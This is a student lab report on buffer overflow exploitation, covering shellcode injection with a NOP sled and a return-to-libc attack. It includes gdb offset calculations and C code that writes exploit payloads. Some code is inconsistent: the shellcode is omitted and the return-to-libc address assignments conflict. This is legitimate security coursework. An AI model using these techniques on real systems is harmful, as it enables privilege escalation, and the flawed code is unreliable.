Software Security: Lab 1 - Buffer Overflow

Shubham Mazumder

February 2022

Task 1: Shellcode Injection

\mathbf{A}

First, we disable Address Space Layout Randomization.

\$ sudo sysctl -w kernel.randomize_va_space=0

Then, we disable DEP and stack canaries by

\$ gcc -o vulnerable -fno-stack-protector -z execstack vulnerable.c

Then, we set vulnerable code to be a Set-UID program.

- \$ sudo chown root vulnerable
- \$ sudo chmod 4755 vulnerable

Then, we change the symbolic link for /bin/sh (dash) to /bin/zsh (zshell).

- \$ sudo rm /bin/sh
- \$ sudo ln -s /bin/zsh /bin/sh

Then, we try to find out the value of the return address.

This can be done by creating a badfile with inputs of random characters such as:



Then, we run vulnerable on this file, resulting in a segfault. Using gdb, we see the status of registers and the stack:

```
gdb-peda$ p $esp
$1 = (void *) 0xbfffea10
gdb-peda$ x/s $esp
0xbfffea10: "kkkkllllmmmmnnnnooooppppqqqqrrrrsssstttt\n\24
1\f\271\224\022\262\277\267=\005"
gdb-peda$
```

We can see that we overwrote EIP with jjjj

Meaning that aaaa...iiii is our padding. This means that the length from aaaa...iiii is our offset, which gives us offset = 36

Another way to do this is to check the value of the stack frame pointer ebp, as we know that the return pointer would be ebp + 4. So, the space we need to fill is from the start of the buffer to ebp + 4. Using gdb to figure out the distance,

```
gdb-peda$ p $ebp
$1 = (void *) 0xbfffea08
gdb-peda$ p &buffer
$2 = (char (*)[24]) 0xbfffe9e8
gdb-peda$ p/d 0xbfffea08-0xbfffe9e8
$3 = 32
```

we get the distance from frame pointer to start of buffer to be 32. Thus out return pointer would start at 32 + 4 = 36

Thus, we need to put our return address at buffer + 36

First, we need to figure out what our return address would be.

As we know that we can put the shellcode anywhere from ebp + 8 (as ebp + 4 is eip) to ebp + 485, and knowing that our shellcode size is 25, let's put it somewhere in the middle, let's say starting at buffer[400].

Let's now start writing our exploit.

First, we fill the buffer with NOPs. Filling the buffer with NOPs allows us to point anywhere back in the buffer, with a high probability of the instruction pointer reaching the shellcode eventually as execution would go down the NOPs until it reaches shellcode.

Thus, at buffer + 36 we would copy the address we want to jump to. Since we have filled our buffer with NOPs, I put in the value as ebp + 200, as eventually it would reach our shellcode at buffer + 400.

Then, we copy the shellcode to our chosen offset in the buffer: at buffer + 400.

Note that if we did not add NOPs to the buffer we would need to point exactly to the starting address of the shellcode.

```
void main(int argc, char **argv)
     char buffer[517];
    FILE *badfile;
    char return address[] = "";
     //First we fill buffer with NOPs
    memset(&buffer, 0x90, 517);
    //Then, get offsets
int offset = 36;
    int shellcodeoffset = 400;
     //Instruction Pointer Address Write
    char *instr_address = buffer + offset;
int returnaddress = (0xbfffea08 + 200); //$ebp = 0xbfffea08
    strcpy(instr_address, (char *)&returnaddress);
    //Lastly, figure out the address of buffer where we will put shellcode in and copy shellcode
    char *startaddress = buffer + shellcodeoffset;
    strcpy(startaddress, shellcode);
    /* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
```

Thus, we get the result,

```
[02/13/22]seed@VM:~/.../BufferOverflow$ ./vulnerable $ ■
```

Task 2: Return-to-libc attack

First, we find our the addresses of the libc functions system() and exit(), and then that of /bin/sh.

```
system():
```

```
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7da4da0 <__libc_syste
m>
exit():

gdb-peda$ p exit
$1 = {<text variable, no debug info>} 0xb7d989d0 <__GI_exit>

/bin/sh():

[02/12/22]seed@VM:~/.../ReturnToLibc$ ./vulnerable
0xbffffc69
Segmentation fault
```

Then, similar to task 1, we need to figure out the return address.

Using our text badfile again,

```
aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmmnnnnooooppppqqqqrrrrsssstttt
```

We get, in gdb,

```
EBP: 0x69696969 ('iiii')
ESP: 0xbfffec20 ("kkkkllllmmmmnnnnoooo\364\354\377\277\37\\377\277\220\376\004\b\334\303\361\267`\354\377\277")
EIP: 0x6a6a6a6a ('jjjj')
```

Thus, our padding is the same as Task 1, that is, 32 + 4 = 36.

Verifying by calculating distance between *ebp* and *buffer*,

```
gdb-peda$ p $ebp

$6 = (void *) 0xbfffec08

gdb-peda$ p &buffer

$7 = (char (*)[24]) 0xbfffebe8

gdb-peda$ p/d 0xbfffec08-0xbfffebe8

$8 = 32

gdb-peda$ ■
```

Thus, we see that the return address would be placed at the same place as before.

As system would be our first call, we would place the call to system() using the address we got using gdb at buffer[36].

System would need the parameter /bin/sh, as our goal is to call system("/bin/sh").

We know that by convention, arguments are stored at an offset of 4 bytes (the offset containing the return address) from the address of the function at the instruction pointer.

So, the structure that we want to have is: from bottom to top - we want to have the call to system(), then at an offset of 4 bytes we want to have address to the parameter (/bin/sh), and in between them we want to have the address to exit(), which would basically act as the return address.

Thus, if system() is at address XtoX+4, exit would be at address X+4toX+8, and the address of the parameter would be at X+8toX+12.

Thus, as we know that system() should be at buffer + 36, we have the code as:

```
/* You need to decide the addresses and
    the values of X, Y, Z. The order of
    the following three statements do not
    imply the order of X, Y, Z.

*/
*(long *) &buf[44] = 0xbffffc79; // "/bin/sh"
    *(long *) &buf[36] = 0xb7da4da0; // system()
    *(long *) &buf[40] = 0xbffffc69; // "/bin/sh"
//*(long *) &buf[40] = 0xbffffc69; // "/bin/sh"
//*(long *) &buf[32] = 0xb7da4da0; // system()
//*(long *) &buf[36] = 0xb7d989d0; // exit()
```

Result:

```
[02/12/22]seed@VM:~/.../ReturnToLibc$ ./vulnerable
0xbffffc79
$ pwd
/home/seed/SEEDLabs/ReturnToLibc
$ ■
```

Note: we get segfault if address of /bin/sh keeps shifting. Thus, this exploit only works if the address given in code for /bin/sh matches the actual address of /bin/sh.

END OF REPORT.